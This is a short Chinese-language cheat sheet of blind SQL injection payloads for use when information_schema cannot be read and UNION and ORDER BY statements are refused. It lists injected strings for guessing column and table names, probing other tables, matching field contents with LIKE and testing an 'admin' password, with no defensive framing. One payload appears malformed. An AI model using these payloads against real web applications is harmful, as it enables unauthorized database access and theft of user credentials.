无权读取information_schema库和拒绝union order by语句
执行权限低
猜列名 1' and user is not null-- 如果为假 就不返回东西 为真1的返回
猜当前表名 1'and table.user in null-- 一样的
猜其它的表 1'and (select count(*) from table)>0--
猜字段内容 1'and user='admin
匹配含有a的字段内容 1' or user like '%a%
猜密码 1'or user='admin'and password='ddd131545asd54da1d231d5ad5a2as85